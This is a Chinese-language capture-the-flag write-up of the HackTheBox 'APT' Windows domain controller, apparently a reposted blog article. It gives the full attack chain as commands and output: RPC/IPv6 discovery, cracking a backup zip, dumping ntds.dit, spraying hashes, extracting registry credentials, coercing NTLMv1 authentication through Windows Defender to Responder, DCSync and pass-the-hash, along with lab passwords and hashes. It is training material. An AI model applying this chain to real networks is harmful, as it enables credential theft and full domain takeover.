【HackTheBox系列】第三篇:高难度之APT(RPC获取IPV6、WindowsDefender获取hash)

admin 2023年9月12日17:00:10评论52 views字数 9589阅读31分57秒阅读模式

一、信息搜集

nmap -sV 10.10.10.213

【HackTheBox系列】第三篇:高难度之APT(RPC获取IPV6、WindowsDefender获取hash)只开了80135端口,继续扫描服务:

nmap -sT -sV -sC -O -p 80,135 10.10.10.213

【HackTheBox系列】第三篇:高难度之APT(RPC获取IPV6、WindowsDefender获取hash)可以看到操系统极大概率是Windows Server 2016。 尝试对web界面进行信息搜集:

sudo apt install gobuster
gobuster dir -u "http://10.10.10.213" -w /usr/share/wordlists/dirb/big.txt -b 301,302,400,401,403,404,500,502 -t 20 --random-agent --no-error

目录扫描没扫出什么东西,感觉web界面能利用的有点少,先去看看135端口的RPC服务有没有利用的可能性。这个靶机的提示如下:【HackTheBox系列】第三篇:高难度之APT(RPC获取IPV6、WindowsDefender获取hash)大意是说,APT是一个非常困难的Windows机器,只暴露了RPCHTTP服务。枚举现有的RPC接口可以找到一个有趣的Object,可以用来找到IPv6地址。并且该机器受到防火墙保护,在IPv6上可以访问备份共享。用户枚举和暴力破解攻击可以访问包含登录凭据的注册表。该机器配置为允许通过NTLMv1协议进行身份验证,可以利用此协议获得系统权限。

二、深度利用RPC服务

非常推荐大家看这篇文章来初步理解这个rpc服务:红队视角下的Windows RPC以及下面这篇微软官方文档里面的文章:Service overview and network port requirements - Windows Server首先先检查是否可以匿名连接:

rpcclient 10.10.10.213
rpcclient -U '' 10.10.10.213

很明显是不可以的:【HackTheBox系列】第三篇:高难度之APT(RPC获取IPV6、WindowsDefender获取hash)然后尝试获取远程RPC的端点信息:

cd /home/kali/Desktop/impacket/examples
python rpcmap.py ncacn_ip_tcp:10.10.10.213[135]
python rpcmap.py ncacn_ip_tcp:10.10.10.213[135] -brute-uuid

得到的结果如下,我们重点看红框框出来的这三个:【HackTheBox系列】第三篇:高难度之APT(RPC获取IPV6、WindowsDefender获取hash)我们去微软官网查询他们分别对应的服务名称:[MS-DCOM]: Standards Assignments他们对应的服务分别是:【HackTheBox系列】第三篇:高难度之APT(RPC获取IPV6、WindowsDefender获取hash)这里我们可以使用如下脚本来获取其IPV6,再看看能不能有更多的信息扫描出来:

git clone https://github.com/mubix/IOXIDResolver.git
pip install -i https://pypi.tuna.tsinghua.edu.cn/simple -r requirements.txt
python IOXIDResolver.py -t 10.10.10.213

【HackTheBox系列】第三篇:高难度之APT(RPC获取IPV6、WindowsDefender获取hash)把这个ipv6地址添加到hosts里面:

su root
echo "dead:beef::b885:d62a:d679:573f apt.htb" >> /etc/hosts

然后nmap开始扫描:

sudo nmap -sS --min-rate=10000 -p- -O -A -sV -oA `pwd`/apt-ipv6.txt apt.htb -6

【HackTheBox系列】第三篇:高难度之APT(RPC获取IPV6、WindowsDefender获取hash)具体结果如下:

Host is up (1.1s latency).
Not shown: 65519 filtered tcp ports (no-response)
PORT      STATE SERVICE    VERSION
53/tcp    open  tcpwrapped
80/tcp    open  tcpwrapped
|_http-server-header: Microsoft-IIS/10.0
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-title: Gigantic Hosting | Home
88/tcp    open  tcpwrapped
135/tcp   open  tcpwrapped
445/tcp   open  tcpwrapped Windows Server 2016 Standard 14393 tcpwrapped
464/tcp   open  tcpwrapped
636/tcp   open  tcpwrapped
|_ssl-date: 2023-09-11T09:52:32+00:00; -1s from scanner time.
| ssl-cert: Subject: commonName=apt.htb.local
| Subject Alternative Name: DNS:apt.htb.local
| Not valid before: 2020-09-24T07:07:18
|_Not valid after:  2050-09-24T07:17:18
3268/tcp  open  tcpwrapped
3269/tcp  open  tcpwrapped
| ssl-cert: Subject: commonName=apt.htb.local
| Subject Alternative Name: DNS:apt.htb.local
| Not valid before: 2020-09-24T07:07:18
|_Not valid after:  2050-09-24T07:17:18
|_ssl-date: 2023-09-11T09:52:32+00:00; -1s from scanner time.
9389/tcp  open  tcpwrapped
49665/tcp open  tcpwrapped
49666/tcp open  tcpwrapped
49669/tcp open  tcpwrapped
49670/tcp open  tcpwrapped
49675/tcp open  tcpwrapped
53992/tcp open  tcpwrapped
No OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.94%E=6%D=9/11%OT=53%CT=%CU=%PV=N%DS=1%DC=D%G=Y%TM=64FEE364%P=x
OS:86_64-pc-linux-gnu)S1(P=6000{4}28067fXX{32}0035c4c13741ade978e43086a012
OS:20005245000002040526010303080402080a00267ad1ff{4}%ST=10.9056%RT=11.9747
OS:)S2(P=6000{4}28067fXX{32}0035c4c2fcb0bf7478e43087a01220007b480000020405
OS:26010303080402080a00267ad1ff{4}%ST=11.0056%RT=11.6735)S3(P=6000{4}28067
OS:fXX{32}0035c4c35bdaa77478e43088a0122000371e000002040526010303080101080a
OS:00267ad1ff{4}%ST=11.1056%RT=11.6735)S4(P=6000{4}28067fXX{32}0035c4c41fa
OS:8211078e43089a0122000f6b0000002040526010303080402080a00267ad2ff{4}%ST=1
OS:1.2061%RT=11.9747)S5(P=6000{4}28067fXX{32}0035c4c513af707e78e4308aa0122
OS:000b33a000002040526010303080402080a00267ad1ff{4}%ST=11.3056%RT=11.6735)
OS:S6(P=6000{4}24067fXX{32}0035c4c66f0a29f078e4308b90122000b27a00000204052
OS:60402080a00267ad1ff{4}%ST=11.4057%RT=11.9746)IE1(P=6000{4}803a7fXX{32}8
OS:100cac2abcd00{122}%ST=10.99%RT=11.9747)TECN(P=602000{3}20067fXX{32}0035
OS:c4c7e9777b1678e4308c80522000749e0000020405260103030801010402%ST=11.1885
OS:%RT=11.9747)EXTRA(FL=12345)

Network Distance: 1 hop

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
|_clock-skew: mean: -12m00s, deviation: 26m47s, median: -1s
| smb-os-discovery: 
|   OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
|   Computer name: apt
|   NetBIOS computer name: APTx00
|   Domain name: htb.local
|   Forest name: htb.local
|   FQDN: apt.htb.local
|_  System time: 2023-09-11T10:52:06+01:00
| smb-security-mode: 
|   account_used: <blank>
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: required
| smb2-time: 
|   date: 2023-09-11T09:52:04
|_  start_date: 2023-09-11T09:10:04

TRACEROUTE
HOP RTT        ADDRESS
1   1098.78 ms apt.htb (dead:beef::b885:d62a:d679:573f)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 97.33 seconds

其实服务器还开启了389端口,结合上面的53端口,可以大致判断这应该是一台域控,并且域名为htb.localFQDNapt.htb.local因为有防火墙拦着,如果你是通过IPV4来访问共享,是访问不了的。由于之前配置了hosts文件,这里我们直接执行以下命令:

smbclient -N -L //apt.htb

【HackTheBox系列】第三篇:高难度之APT(RPC获取IPV6、WindowsDefender获取hash)发现有个backup的分享名,我们把里面的backup.zip文件下下来分析:

smbclient -N //apt.htb/backup -t 3600
get backup.zip

如果不设置-t参数,会出现我下面的情况,加了之后就可以解决:【HackTheBox系列】第三篇:高难度之APT(RPC获取IPV6、WindowsDefender获取hash)然后尝试解压,但是发现需要密码:

unzip backup.zip -d backup

【HackTheBox系列】第三篇:高难度之APT(RPC获取IPV6、WindowsDefender获取hash)试试看能不能爆破:

sudo apt install fcrackzip
# gzip -d /usr/share/wordlists/rockyou.txt.gz
fcrackzip -D -p /usr/share/wordlists/rockyou.txt -u backup.zip

一秒爆破成功:【HackTheBox系列】第三篇:高难度之APT(RPC获取IPV6、WindowsDefender获取hash)再解压:【HackTheBox系列】第三篇:高难度之APT(RPC获取IPV6、WindowsDefender获取hash)明显看到里面有个ntds.dit文件以及SYSTEM文件,这个文件是域控中独有的(工作组机器对应的文件名为sam),里面存储着域内所有用户的凭据信息,samntds.dit文件的破解都需要SYSTEM文件。 我们使用如下命令来解密:

impacket-secretsdump -ntds /home/kali/Desktop/backup/"Active Directory"/ntds.dit -system /home/kali/Desktop/backup/registry/SYSTEM -outputfile ntds_hash LOCAL

可以看到账号和hash实在是太多了:【HackTheBox系列】第三篇:高难度之APT(RPC获取IPV6、WindowsDefender获取hash)要是挨个做喷洒的话会花费很多时间,这里我们先进行用户名枚举查看用户名是否存在: 先下载工具kerbrute:https://github.com/ropnop/kerbrute/releases/download/v1.0.3/kerbrute_linux_amd64并以管理员身份修改/etc/hosts文件中的apt.htbapt.htb apt.htb.local htb.local【HackTheBox系列】第三篇:高难度之APT(RPC获取IPV6、WindowsDefender获取hash)

cat ntds_hash.ntds.kerberos | awk -F ':' '{print $1}' | sort -u > domain_user
chmod 777 kerbrute_linux_amd64
./kerbrute_linux_amd64 userenum --dc apt.htb.local -d htb.local /home/kali/Desktop/domain_user

得到三个用户名:

[email protected]
APT$@htb.local
[email protected]

【HackTheBox系列】第三篇:高难度之APT(RPC获取IPV6、WindowsDefender获取hash)这里的带$的一般是服务账号或隐藏账号。 提取上面的三个用户名:

cat ntds_hash.ntds | grep 'Administrator|APT|henry.vinson' | grep ':::' | awk -F ':' '{print $1}' > user.txt

【HackTheBox系列】第三篇:高难度之APT(RPC获取IPV6、WindowsDefender获取hash)然后提取hash并进行去重:

cat ntds_hash.ntds | grep ':::' | awk -F ':' '{print $4}' | sort -u > user_hash
cat user_hash

【HackTheBox系列】第三篇:高难度之APT(RPC获取IPV6、WindowsDefender获取hash)先试试看使用crackmapexec这个工具来pth

crackmapexec smb apt.htb.local -u user.txt -H user_hash

很明显可以看到爆破失败了,它这个是有次数限制的:【HackTheBox系列】第三篇:高难度之APT(RPC获取IPV6、WindowsDefender获取hash)我们换个方式,通过impacketgetTGT这个脚本来验证。TGT是用户在用户在登录的时候由KDC生成的一个临时凭证,用于向服务器请求访问权限,然后这个getTGT脚本的作用就是模拟用户登录并获取TGT,这里我们可以自己写个小脚本来帮助我们利用它来判这些hash中哪些是有效的:

touch check_hash.sh & nano check_hash.sh

然后输入以下内容:

while read -r hash; do
    output=$(impacket-getTGT htb.local/[email protected] -hashes :$hash)
    if [[ $output == *Saving* ]]; then
        echo "[++++++] hash: $hash"
    fi
done < /home/kali/Desktop/user_hash

然后执行bash check_hash.sh,跑起来要挺长时间的(40分钟左右):【HackTheBox系列】第三篇:高难度之APT(RPC获取IPV6、WindowsDefender获取hash)得到有效hash为:

e53d87d42adaa3ca32bdb34a876cbffb

尝试pth

impacket-wmiexec htb.local/[email protected] -hashes ':e53d87d42adaa3ca32bdb34a876cbffb'

但是不行:【HackTheBox系列】第三篇:高难度之APT(RPC获取IPV6、WindowsDefender获取hash)不过我们有了hash值,就可以读取注册表的内容了:

impacket-reg -hashes ':e53d87d42adaa3ca32bdb34a876cbffb' -dc-ip htb.local htb.local/[email protected] query -keyName HKU\SOFTWARE -s > henry_reg.txt

这里的HKU注册表是保存用户一些的配置文件,-s表示递归查询子键 。这一步挺耗时间,要等不少时间,不过可以看到这里已经显示出账号密码了:

SOFTWAREGiganticHostingManagementSystem
        UserName        REG_SZ   henry.vinson_adm
        PassWord        REG_SZ   G1#Ny5@2dvht

【HackTheBox系列】第三篇:高难度之APT(RPC获取IPV6、WindowsDefender获取hash)我们可以用evil-winrm来尝试登录:

evil-winrm -i htb.local -u henry.vinson_adm -p 'G1#Ny5@2dvht'

信息搜集过程中可以查看命令行历史记录:

cmd /c type %userprofile%AppDataRoamingMicrosoftWindowsPowerShellPSReadlineConsoleHost_history.txt

【HackTheBox系列】第三篇:高难度之APT(RPC获取IPV6、WindowsDefender获取hash)可以看到他曾执行了这样一段命令:

$Cred = get-credential administrator
invoke-command -credential $Cred -computername localhost -scriptblock {Set-ItemProperty -Path "HKLM:SYSTEMCurrentControlSetControlLsa" lmcompatibilitylevel -Type DWORD -Value 2 -Force}

主要作用是将Windows操作系统中的LM兼容性级别设置为2,当设置为2的时候,默认使用的是NTLMv1协议,而这个的hash值则是可以破解的。 相关阅读:LMCompatibilityLevel 安全隐患这里也是直接拿到userflag

cat C:Usershenry.vinson_admdesktopuser.txt
# 0b771cb7077667a86094fa670c334cb6

三、(作者非预期)利用WindowsDefender抓取管理员hash并破解实现提权

关于NTLMv1的利用总结可参考如下文章:Windows下的密码hash——Net-NTLMv1介绍 - husterlong - 博客园我们首先先固定responderchallenge值为1122334455667788以方便利用https://crack.sh 这个网站来破解:

sudo nano /usr/share/responder/Responder.conf

具体可以参考:Cracking NETLM/NETNTLMv1 Authentication | crack.sh【HackTheBox系列】第三篇:高难度之APT(RPC获取IPV6、WindowsDefender获取hash)然后开启监听:

sudo responder --lm -I tun0 -v

【HackTheBox系列】第三篇:高难度之APT(RPC获取IPV6、WindowsDefender获取hash)然后新开一个终端,用evil-winrm链接:

evil-winrm -i htb.local -u henry.vinson_adm -p 'G1#Ny5@2dvht'

然后利用白名单程序来外连responder

cd "C:Program FilesWindows Defender"
.MpCmdRun.exe -Scan -scantype 3 -File \10.10.16.14hackertest

【HackTheBox系列】第三篇:高难度之APT(RPC获取IPV6、WindowsDefender获取hash)responder这边已经收到了NTLMv1的值:【HackTheBox系列】第三篇:高难度之APT(RPC获取IPV6、WindowsDefender获取hash)

HTBAPT$
APT$::HTB:95ACA8C7248774CB427E1AE5B8D5CE6830A49B5BB858D384:95ACA8C7248774CB427E1AE5B8D5CE6830A49B5BB858D384:1122334455667788

然后利用如下脚本来解析:

git clone https://github.com/evilmog/ntlmv1-multi.git
cd ntlmv1-multi
python3 ntlmv1.py --ntlmv1 APT$::HTB:95ACA8C7248774CB427E1AE5B8D5CE6830A49B5BB858D384:95ACA8C7248774CB427E1AE5B8D5CE6830A49B5BB858D384:1122334455667788

【HackTheBox系列】第三篇:高难度之APT(RPC获取IPV6、WindowsDefender获取hash)可以看到这个脚本提示我们可以拿着NTHASH:95ACA8C7248774CB427E1AE5B8D5CE6830A49B5BB858D384crack.sh上面去破解。 我们打开https://crack.sh/get-cracking/,输入Token和邮箱即可开始提交破解。由于crack.sh这个站的破解功能暂时关闭,这里我们直接从其他人的wp中拿图和结果过来:【HackTheBox系列】第三篇:高难度之APT(RPC获取IPV6、WindowsDefender获取hash)【HackTheBox系列】第三篇:高难度之APT(RPC获取IPV6、WindowsDefender获取hash)得到NTLM hash为: d167c323886b12f5f82feae86a7f798。 尝试wmiexec

impacket-wmiexec 'htb.local/[email protected]' -hashes ':d167c323886b12f5f82feae86a7f798'

还是失败了:【HackTheBox系列】第三篇:高难度之APT(RPC获取IPV6、WindowsDefender获取hash)尝试DCSync转储: 补充:什么是DCSync攻击

嘿,域控制器,我是另一个域控制器,为了加入该域,我们需要同步密码,请把所有哈希值发送给我。这就是所谓的DC Sync攻击

impacket-secretsdump -hashes ':d167c3238864b12f5f82feae86a7f798' 'htb.local/[email protected]'

成功:【HackTheBox系列】第三篇:高难度之APT(RPC获取IPV6、WindowsDefender获取hash)登录Administrator账户:

evil-winrm -i htb.local -u administrator -H c370bddf384a691d811ff3495e8a72e2

拿到rootflag

cat ../Desktop/root.txt
# d53ca391c44e4ef302e49dbdd8e200cb
【HackTheBox系列】第三篇:高难度之APT(RPC获取IPV6、WindowsDefender获取hash)
image.png

四、(作者预期)通过RoguePotato获取NTLMv1 Hash

参考:https://0xdf.gitlab.io/2021/04/10/htb-apt.html#collect-net-ntlmv1-via-rpc--roguepotato,难度有点大,暂时先跳过,后面会在博客中更新。。


原文始发于微信公众号(追梦信安):【HackTheBox系列】第三篇:高难度之APT(RPC获取IPV6、WindowsDefender获取hash)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年9月12日17:00:10
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【HackTheBox系列】第三篇:高难度之APT(RPC获取IPV6、WindowsDefender获取hash)https://cn-sec.com/archives/2028126.html

发表评论

匿名网友 填写信息